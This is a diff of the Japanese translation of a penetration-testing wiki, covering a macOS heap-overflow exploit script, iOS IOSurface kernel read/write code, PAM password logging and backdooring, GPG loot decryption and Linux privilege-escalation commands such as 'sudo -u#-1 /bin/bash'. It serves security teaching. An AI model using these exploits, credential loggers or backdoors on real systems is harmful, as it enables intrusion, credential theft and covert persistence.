re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line) +if not m: +log.failure("Couldn't parse leak") +sys.exit(1) +return int(m.group(1), 16) + +def build_payload(win_addr, extra_pad=0): +# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer] +padding = b'A' * 128 +if extra_pad: +padding += b'B' * extra_pad +# Add the win address to overwrite the function pointer +payload = padding + p64(win_addr) +return payload + +def main(): +# On macOS, we need to disable the Nano zone for adjacent allocations +import os +env = os.environ.copy() +env['MallocNanoZone'] = '0' + +# The correct padding with MallocNanoZone=0 is 432 bytes +# This makes the total distance 560 bytes (128 buffer + 432 padding) +# Try the known working value first, then alternatives in case of heap variation +candidates = [ +432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0) +424, # Try slightly less in case of alignment differences +440, # Try slightly more +416, # 16 bytes less +448, # 16 bytes more +0, # Direct adjacency (unlikely but worth trying) +] + +log.info("Starting heap overflow exploit for macOS...") + +for extra in candidates: +log.info(f"Trying extra_pad={extra} with MallocNanoZone=0") +p = process(BIN, env=env) + +# Read leak line +leak_line = p.recvline() +win_addr = parse_leak(leak_line) +log.success(f"win() @ {hex(win_addr)}") + +# Skip prompt lines +p.recvuntil(b"Enter payload length") +p.recvline() + +# Build and send payload +payload = build_payload(win_addr, extra_pad=extra) +total_len = len(payload) + +log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)") + +# Send length and payload +p.sendline(str(total_len).encode()) +p.send(payload) + +# Check if we overwrote the function pointer successfully +try: +output = p.recvuntil(b"Calling h->cb()", timeout=0.5) +p.recvline(timeout=0.5) # Skip the "..." part + +# Check if we hit win() +response = p.recvline(timeout=0.5) +if b"win() reached" in response: +log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}") +log.success("Shell spawned, entering interactive mode...") +p.interactive() +return +elif b"safe_cb() called" in response: +log.info(f"Failed with extra_pad={extra}, safe_cb was called") +else: +log.info(f"Failed with extra_pad={extra}, unexpected response") +except: +log.info(f"Failed with extra_pad={extra}, likely crashed") + +p.close() + +log.failure("All padding attempts failed. The heap layout might be different.") +log.info("Try running the exploit multiple times as heap layout can be probabilistic.") + +if __name__ == '__main__': +main() +``` +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md new file mode 100644 index 000000000..b97d403b5 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -0,0 +1,215 @@ +# iOS Physical Use-After-Free via IOSurface + +{{#include ../../banners/hacktricks-training.md}} + + +## Physical use-after-free + +これは [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) の投稿の要約です。さらに、この手法を使ったエクスプロイトの詳細は [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) にあります。 + +### Memory management in XNU + +iOS のユーザープロセス向けの仮想メモリ空間は **0x0 ～ 0x8000000000** までです。ただし、これらのアドレスは物理メモリに直接対応しているわけではありません。代わりに、カーネルはページテーブルを使って仮想アドレスを実際の物理アドレスに変換します。 + +#### Levels of Page Tables in iOS + +ページテーブルは階層構造になっており、3 段階で構成されています: + +1. **L1 Page Table (Level 1)**: +* ここにある各エントリは仮想メモリの大きな範囲を表します。 +* 仮想メモリの **0x1000000000 バイト**（= **256 GB**）をカバーします。 +2. **L2 Page Table (Level 2)**: +* ここでの各エントリはより小さな領域、具体的には **0x2000000 バイト**（32 MB）を表します。 +* L1 のエントリがその全範囲を直接マップできない場合、L2 テーブルへのポインタを指すことがあります。 +3. **L3 Page Table (Level 3)**: +* もっとも細かいレベルで、各エントリは単一の **4 KB** ページをマップします。 +* より詳細な制御が必要な場合、L2 エントリは L3 テーブルを指すことがあります。 + +#### Mapping Virtual to Physical Memory + +* **Direct Mapping (Block Mapping)**: +* ページテーブルの一部のエントリは、仮想アドレスの範囲を物理アドレスの連続領域に直接マップします（ショートカットのようなものです）。 +* **Pointer to Child Page Table**: +* より細かい制御が必要な場合、あるレベルのエントリ（例: L1）は次のレベルの子ページテーブル（例: L2）へのポインタを持ちます。 + +#### Example: Mapping a Virtual Address + +仮に仮想アドレス **0x1000000000** にアクセスしようとすると: + +1. **L1 Table**: +* カーネルはこの仮想アドレスに対応する L1 エントリをチェックします。もし L2 ページテーブルへのポインタがあれば、その L2 テーブルに移動します。 +2. **L2 Table**: +* カーネルはより詳細なマッピングのために L2 を確認します。もしこのエントリが L3 ページテーブルを指していれば、さらに進みます。 +3. **L3 Table**: +* 最終的に L3 エントリを参照し、実際のページの **物理アドレス** を得ます。 + +#### Example of Address Mapping + +もし L2 テーブルの最初のインデックスに物理アドレス **0x800004000** を書き込んだ場合: + +* 仮想アドレス **0x1000000000** ～ **0x1002000000** は、物理アドレス **0x800004000** ～ **0x802004000** にマップされます。 +* これは L2 レベルでの **ブロックマッピング** です。 + +一方で、L2 エントリが L3 テーブルを指している場合: + +* 仮想アドレス範囲 **0x1000000000 -> 0x1002000000** 内の各 4 KB ページは L3 の個別エントリによってマッピングされます。 + +### Physical use-after-free + +physical use-after-free（UAF）は次のような状況で発生します: + +1. プロセスが読み書き可能なメモリを割り当てる。 +2. ページテーブルが更新され、そのメモリがプロセスからアクセス可能な特定の物理アドレスにマップされる。 +3. プロセスがそのメモリを解放（free）する。 +4. しかしバグにより、カーネルはページテーブルからそのマッピングを削除するのを忘れてしまい、対応する物理メモリは「free」としてマークされる。 +5. カーネルはその「解放された」物理メモリを別用途（例: カーネルデータ）に再割り当てする可能性がある。 +6. マッピングが削除されていないため、プロセスは依然としてその物理メモリの読み書きが可能である。 + +これにより、プロセスはカーネルメモリのページにアクセスできるようになり、機密データや構造体を含む可能性があるため、攻撃者がカーネルメモリを操作できてしまう恐れがあります。 + +### IOSurface Heap Spray + +攻撃者は、解放された物理メモリがどのカーネルページに割り当てられるかを制御できないため、heap spray と呼ばれる手法を使います: + +1. 攻撃者はカーネルメモリ上に多数の IOSurface オブジェクトを作成する。 +2. 各 IOSurface オブジェクトは、識別しやすいフィールドに magic value を含む。 +3. 彼らは解放されたページをスキャンして、これらの IOSurface オブジェクトが解放ページ上に割り当てられていないか確認する。 +4. 解放ページ上に IOSurface オブジェクトを見つけた場合、それを使ってカーネルメモリの読み書きを行える。 + +詳細は [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) を参照してください。 + +> [!TIP] +> iOS 16+（A12+）デバイスはハードウェア緩和策（PPL や SPTM など）を導入しており、physical UAF 技術は実用性が大きく低下しています。 +> PPL はコード署名、entitlements、機密性の高いカーネルデータに関連するページに対して厳格な MMU 保護を強制するため、ページが再利用されたとしても userland からの書き込みや侵害されたカーネルコードからの書き込みは PPL 保護ページに対してブロックされます。 +> Secure Page Table Monitor (SPTM) は PPL を拡張してページテーブルの更新自体を強化します。これにより、権限を持つカーネルコードであっても、secure なチェックを経ずに解放ページを黙って再マップしたりマッピングを改ざんしたりすることはできなくなります。 +> KTRR (Kernel Text Read-Only Region) はブート後にカーネルのコード領域を読み取り専用にロックダウンします。これによりランタイムでのカーネルコード改変を防ぎ、physical UAF エクスプロイトが依存する主要な攻撃ベクターを塞ぎます。 +> さらに、IOSurface の割り当ては予測しにくくなり、ユーザがアクセス可能な領域にマッピングされにくくなっているため、「magic value スキャン」トリックの信頼性は低下しています。また、IOSurface は現在 entitlements や sandbox 制限によって保護されています。 + +### Step-by-Step Heap Spray Process + +1. **Spray IOSurface Objects**: 攻撃者は特定の識別子（"magic value"）を持つ多数の IOSurface オブジェクトを生成します。 +2. **Scan Freed Pages**: これらのオブジェクトのうち、解放されたページに割り当てられたものがないか確認します。 +3. **Read/Write Kernel Memory**: IOSurface オブジェクトのフィールドを操作することで、カーネルメモリに対する arbitrary reads and writes を実現します。これにより: +* あるフィールドを使ってカーネルメモリ内の任意の 32-bit 値を読み出せる。 +* 別のフィールドを使って 64-bit 値を書き込み、安定した kernel read/write primitive を確立できる。 + +Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +解放された物理ページ1つ内で**`IOSurface`**オブジェクトを検索する: +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### IOSurface を使った Kernel Read/Write の取得 + +kernel memory 内の IOSurface オブジェクト（userspace からアクセス可能な解放済み物理ページにマップされている）の制御を得た後、これを使って **arbitrary kernel read and write operations** を実行できます。 + +**IOSurface の重要なフィールド** + +The IOSurface object には重要なフィールドが2つあります: + +1. **Use Count Pointer**: **32-bit read** を可能にします。 +2. **Indexed Timestamp Pointer**: **64-bit write** を可能にします。 + +これらのポインタを上書きすることで、kernel memory の任意のアドレスを指すようにリダイレクトし、read/write 機能を実現できます。 + +#### 32-Bit Kernel Read + +読み取りを行うには: + +1. **use count pointer** を上書きして、target address から 0x14 バイト引いたオフセットを指すようにします。 +2. `get_use_count` メソッドを使って、そのアドレスの値を読み取ります。 +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### 64ビットカーネル書き込み + +書き込みを行うには： + +1. ターゲットアドレスに**indexed timestamp pointer**を上書きする。 +2. `set_indexed_timestamp` メソッドを使用して64ビット値を書き込む。 +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### エクスプロイトフローの要約 + +1. **Trigger Physical Use-After-Free**: 解放されたページが再利用可能になる。 +2. **Spray IOSurface Objects**: カーネルメモリにユニークな "magic value" を持つ多数の IOSurface オブジェクトを割り当てる。 +3. **Identify Accessible IOSurface**: 自分が制御する解放済みページ上の IOSurface を見つける。 +4. **Abuse Use-After-Free**: IOSurface オブジェクト内のポインタを改変し、IOSurface メソッド経由で任意の **kernel read/write** を可能にする。 + +これらのプリミティブにより、エクスプロイトはカーネルメモリへの制御された **32-bit reads** と **64-bit writes** を提供する。さらなる jailbreak 手順は、より安定した read/write プリミティブを必要とする場合があり、追加の保護（例: 新しい arm64e デバイス上の PPL）を回避する必要があるかもしれない。 + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index cff76fd61..c75bf85c3 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -11,16 +11,16 @@ Let's configure a PAM module to log each password each user uses to login. If yo pam-pluggable-authentication-modules.md {{#endref}} -**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. これは要約です: +**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. 以下は要約です： **Technique Overview:** -Pluggable Authentication Modules (PAM) は、Unix 系システムでの認証管理に柔軟性を提供します。ログインプロセスをカスタマイズすることでセキュリティを向上させられますが、誤用されるとリスクを招きます。本要約では、PAM を使ってログイン資格情報を取得する手法とその緩和策を概説します。 +Pluggable Authentication Modules (PAM)は、Unixベースのシステムでの認証管理に柔軟性を提供します。ログインプロセスをカスタマイズしてセキュリティを強化できますが、誤用されるとリスクにもなります。本要約は、PAMを用いてログイン資格情報を取得する手法と、その緩和策の概要を示します。 **Capturing Credentials:** -- `toomanysecrets.sh` という名前の bash スクリプトを作成し、ログイン試行を記録するようにして、日付、username (`$PAM_USER`)、password（stdin 経由）、remote host IP (`$PAM_RHOST`) を `/var/log/toomanysecrets.log` に記録します。 -- スクリプトに実行権限を与え、`pam_exec.so` モジュールを使用して PAM の設定（`common-auth`）に統合します。オプションは静かに実行し、認証トークンをスクリプトに渡すようにします。 -- この手法は、乗っ取られた Linux ホストが資格情報を秘かにログに記録するためにどのように悪用され得るかを示しています。 +- `toomanysecrets.sh`という名前のbashスクリプトを作成し、ログイン試行を記録します。日付、ユーザー名（`$PAM_USER`）、パスワード（stdin経由）、およびリモートホストIP（`$PAM_RHOST`）を`/var/log/toomanysecrets.log`に記録します。 +- スクリプトを実行可能にし、`pam_exec.so`モジュールを使って（静かに実行するオプションと認証トークンをスクリプトに公開するオプションを付けて）PAMの設定（`common-auth`）に組み込みます。 +- この手法は、侵害されたLinuxホストがどのようにして資格情報を目立たずに記録するために悪用され得るかを示しています。 ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -32,30 +32,30 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**詳細は[original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)を確認してください**。これは要約です: +**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**。以下は要約です: -Pluggable Authentication Module (PAM) は Linux 上でユーザ認証に使われるシステムです。主に3つの概念で動作します：**username**, **password**, **service**。各サービスの設定ファイルは `/etc/pam.d/` にあり、共有ライブラリが認証を処理します。 +Pluggable Authentication Module (PAM) は、Linux 上でユーザー認証に使用されるシステムです。主要な概念は **username**, **password**, **service** の三つです。各サービスの設定ファイルは `/etc/pam.d/` に置かれ、認証は共有ライブラリによって処理されます。 -**目的**: PAM を修正して、実際のユーザーパスワードをバイパスし、特定のパスワードで認証できるようにします。特に `pam_unix.so` 共有ライブラリに注目しており、これはパスワード検証のためにほとんどのサービスが include する `common-auth` ファイルで使われています。 +**目的**: 実際のユーザーパスワードを迂回して、特定のパスワードで認証できるように PAM を改変すること。これは特に、パスワード検証のためにほとんどのサービスから include される `common-auth` ファイルで使われている `pam_unix.so` 共有ライブラリに焦点を当てています。 ### Steps for Modifying `pam_unix.so`: 1. **Locate the Authentication Directive** in the `common-auth` file: -- ユーザのパスワードをチェックする行は `pam_unix.so` を呼び出しています。 +- ユーザーのパスワードを検証する行が `pam_unix.so` を呼び出しています。 2. **Modify Source Code**: -- `pam_unix_auth.c` ソースファイルに、事前定義したパスワードが使われている場合にアクセスを許可し、そうでなければ通常の認証処理を継続する条件文を追加します。 +- `pam_unix_auth.c` のソースに、事前定義したパスワードが使われた場合にアクセスを許可する条件分岐を追加し、それ以外は通常の認証処理を続行するようにします。 3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. 4. **Testing**: -- 事前定義したパスワードでさまざまなサービス（login、ssh、sudo、su、screensaver）へのアクセスが許可され、通常の認証処理は影響を受けません。 +- 事前定義したパスワードで login、ssh、sudo、su、screensaver など複数のサービスに対するアクセスが許可され、通常の認証処理には影響が出ないことを確認します。 > [!TIP] -> このプロセスは [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) で自動化できます +> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) -## ホームディレクトリ移動による GPG loot の復号 +## Decrypting GPG loot via homedir relocation -暗号化された `.gpg` ファイルとユーザの `~/.gnupg` フォルダ（pubring, private-keys, trustdb）を見つけたが、GnuPG の homedir の権限/ロックのために復号できない場合、keyring を書き込み可能な場所にコピーしてそれを GPG のホームとして使います。 +暗号化された `.gpg` ファイルとユーザーの `~/.gnupg` フォルダ（pubring、private-keys、trustdb）を見つけたが、GnuPG の homedir の権限やロックのせいで復号できない場合は、keyring を書き込み可能な場所にコピーしてそこを GPG home として使います。 -これを行わないと典型的に以下のエラーが出ます: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key"（GPG が元の homedir を読み書きできないため）。 +これをやらないと典型的に出るエラー: "unsafe ownership on homedir", "failed to create temporary file", または "decryption failed: No secret key"（GPG が元の homedir を読み書きできないため）。 Workflow: ```bash @@ -70,10 +70,10 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg # or gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg ``` -秘密鍵のマテリアルが `private-keys-v1.d` に存在する場合、GPG はパスフレーズを要求せずにアンロックおよび復号を行います（鍵が保護されている場合はプロンプトが表示されます）。 +秘密鍵の実体が `private-keys-v1.d` に存在する場合、GPGはパスフレーズを要求せずにアンロックおよび復号します（キーが保護されている場合は要求されます）。 -## 参考資料 +## 参考文献 - [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) - [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index e3ce613f7..c132216ae 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,48 +4,48 @@ ## システム情報 -### OS 情報 +### OS情報 -実行中のOSについての情報収集を始めましょう。 +稼働中のOSの情報を収集しましょう。 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### パス +### PATH -もし **`PATH` 変数内の任意のフォルダに書き込み権限がある** 場合、いくつかの libraries や binaries を hijack できる可能性があります: +もし**`PATH`変数内の任意のフォルダに対して書き込み権限がある**場合、いくつかのライブラリやバイナリをハイジャックできる可能性があります: ```bash echo $PATH ``` -### 環境情報 +### Env info -環境変数に興味深い情報、パスワード、または API キーはありますか？ +環境変数に興味深い情報、パスワード、またはAPIキーはありますか？ ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -kernel version を確認し、privilege escalation に使える exploit がないか調べる。 +kernel version を確認し、escalate privileges に使用できる exploit があるかどうか確認する。 ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -良い脆弱なカーネルのリストと、すでに**compiled exploits**がいくつか見つかる場所: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -その他で**compiled exploits**が見つかるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +良い脆弱な kernel リストと既に **compiled exploits** が見つかるのはここです: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -そのウェブからすべての脆弱なカーネルバージョンを抽出するには: +そのウェブサイトからすべての脆弱な kernel バージョンを抽出するには、次のようにします: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -kernel exploits を検索するのに役立つツールは: +カーネルエクスプロイトを検索するのに役立つツールは次のとおりです: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ターゲット上で実行。kernel 2.x の exploit のみをチェックします) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (被害者上で実行、カーネル2.x向けのエクスプロイトのみをチェックします) -Always **kernel version を Google で検索**。お使いの kernel version が既存の kernel exploit に明記されていることがあり、その場合はその exploit が有効であると確信できます。 +常に **カーネルのバージョンをGoogleで検索** してください。あなたのカーネルのバージョンが何らかの kernel exploit に記載されている可能性があり、そうすればその exploit が有効であることを確信できます。 ### CVE-2016-5195 (DirtyCow) @@ -57,36 +57,36 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo バージョン +### Sudo のバージョン -次に示す脆弱な sudo バージョンに基づいて: +以下に表示される脆弱な Sudo のバージョンに基づいて: ```bash searchsploit sudo ``` -このgrepを使ってsudoのバージョンが脆弱かどうかを確認できます。 +この grep を使用して sudo のバージョンが脆弱かどうかを確認できます。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` #### sudo < v1.28 -提供: @sickrov +作成者: @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: 署名検証に失敗 +### Dmesg 署名検証に失敗しました -この **vuln** がどのように悪用されるかの **例** については、**smasher2 box of HTB** を確認してください。 +**smasher2 box of HTB** を確認して、この vuln がどのように悪用され得るかの **例** を参照してください。 ```bash dmesg 2>/dev/null | grep "signature" ``` -### さらなるシステム列挙 +### 追加のシステム列挙 ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 可能な防御を列挙する +## 考えられる防御策 ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -docker container の中にいる場合、そこから脱出を試みることができます: +もし docker container の中にいる場合、そこから脱出を試みることができます: {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## ドライブ -**何がマウントされていてアンマウントされているか**、どこにあり、なぜなのかを確認してください。もし何かがアンマウントされているなら、それをマウントしてプライベートな情報を確認してみてください。 +どこで、なぜ、**何がマウントされていて何がアンマウントされているか**を確認してください。アンマウントされているものがあれば、それをマウントして機密情報がないか確認してみてください。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## 有用なソフトウェア -有用な binaries を列挙する +有用なバイナリを列挙する ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -また、**any compiler is installed**かどうかを確認してください。これは、いくつかの kernel exploit を使用する必要がある場合に有用です。使用するマシン（または類似のマシン）上でコンパイルすることが推奨されているためです。 +また、**任意のコンパイラがインストールされているかどうか**を確認してください。kernel exploit を使う必要がある場合、実際に使用するマシン（または類似のマシン）でコンパイルすることが推奨されるため、これは有用です。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### 脆弱なソフトウェアがインストールされているか +### 脆弱なソフトウェアがインストールされている -**インストールされているパッケージやサービスのバージョン**を確認してください。例えば古いNagiosのバージョンが存在し、それが exploited for escalating privileges…\ +インストールされているパッケージやサービスの**バージョン**を確認してください。例えば古い Nagios バージョンが存在し、それが exploited for escalating privileges に悪用される可能性があります…\ より疑わしいインストール済みソフトウェアのバージョンは手動で確認することを推奨します。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -マシンにSSHでアクセスできる場合、マシン内にインストールされている古く脆弱なソフトウェアを確認するために **openVAS** を使用することもできます。 +マシンにSSHでアクセスできる場合は、**openVAS** を使ってマシン内にインストールされているバージョンが古く脆弱なソフトウェアをチェックすることもできます。 -> [!NOTE] > _注意：これらのコマンドは大量の情報を表示し、その大部分はほとんど役に立たないため、OpenVASのようにインストールされているソフトウェアのバージョンが既知のexploitsに対して脆弱かどうかをチェックするアプリケーションの使用を推奨します_ +> [!NOTE] > _これらのコマンドは大量の情報を表示し、その多くはほとんど役に立ちません。したがって、OpenVAS のようなアプリケーション（または同等のツール）を使用して、インストールされているソフトウェアのバージョンが既知のエクスプロイトに対して脆弱かどうかを確認することをおすすめします。_ ## プロセス -どのプロセスが実行されているかを確認し、特定のプロセスが **本来あるべきより多くの権限** を持っていないかをチェックしてください（例えば tomcat が root によって実行されているかもしれません）。 +実行されている**どのプロセス**を確認し、どのプロセスが**本来必要とするよりも多くの権限を持っているか**をチェックしてください（例：rootで実行されている tomcat など）。 ```bash ps aux ps -ef top -n 1 ``` -常に[**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md)が実行されている可能性を確認してください。**Linpeas**はプロセスのコマンドライン内の`--inspect`パラメータをチェックしてそれらを検出します。\ -また、**プロセスのバイナリに対する権限を確認してください**。誰かを上書きできるかもしれません。 +常に [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md) が動作していないか確認してください。**Linpeas** はプロセスのコマンドライン内の `--inspect` パラメータをチェックしてそれらを検出します。\ +また **プロセスのバイナリに対する自分の権限も確認**してください。誰かのバイナリを上書きできるかもしれません。 ### プロセス監視 -プロセスを監視するために[**pspy**](https://github.com/DominicBreuker/pspy)のようなツールを使用できます。頻繁に実行される、または特定の条件が満たされたときに脆弱なプロセスを特定するのに非常に役立ちます。 +プロセスを監視するために [**pspy**](https://github.com/DominicBreuker/pspy) のようなツールを使えます。これは、脆弱なプロセスが頻繁に実行されている場合や特定の条件が満たされたときにそれらを特定するのに非常に有用です。 ### プロセスメモリ -一部のサービスはメモリ内に**メモリ内に平文で保存されたcredentials**を保存します。\ -通常、他のユーザーに属するプロセスのメモリを読み取るには**root privileges**が必要です。したがって、これは通常、すでにrootでさらに多くのcredentialsを発見したいときにより有用です。\ -ただし、**通常ユーザーとしては自分が所有するプロセスのメモリを読み取ることができる**ことを忘れないでください。 +一部のサーバサービスは **メモリ内に平文で認証情報を保存** します。\ +通常、他ユーザーに属するプロセスのメモリを読むには **root権限** が必要なため、これは既に root の場合に追加の認証情報を見つけるのに有用です。\ +ただし、**通常ユーザーは自分が所有するプロセスのメモリを読むことができる** 点は覚えておいてください。 > [!WARNING] -> 最近のほとんどのマシンはデフォルトでptraceを許可していないことに注意してください。これは、非特権ユーザーが所有する他のプロセスをダンプできないことを意味します。 +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: 同じ uid であれば全てのプロセスをデバッグできます。これは従来の ptrace の動作です。 +> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみデバッグ可能です。 +> - **kernel.yama.ptrace_scope = 2**: ptrace の使用は管理者のみ可能で、CAP_SYS_PTRACE が必要です。 +> - **kernel.yama.ptrace_scope = 3**: ptrace 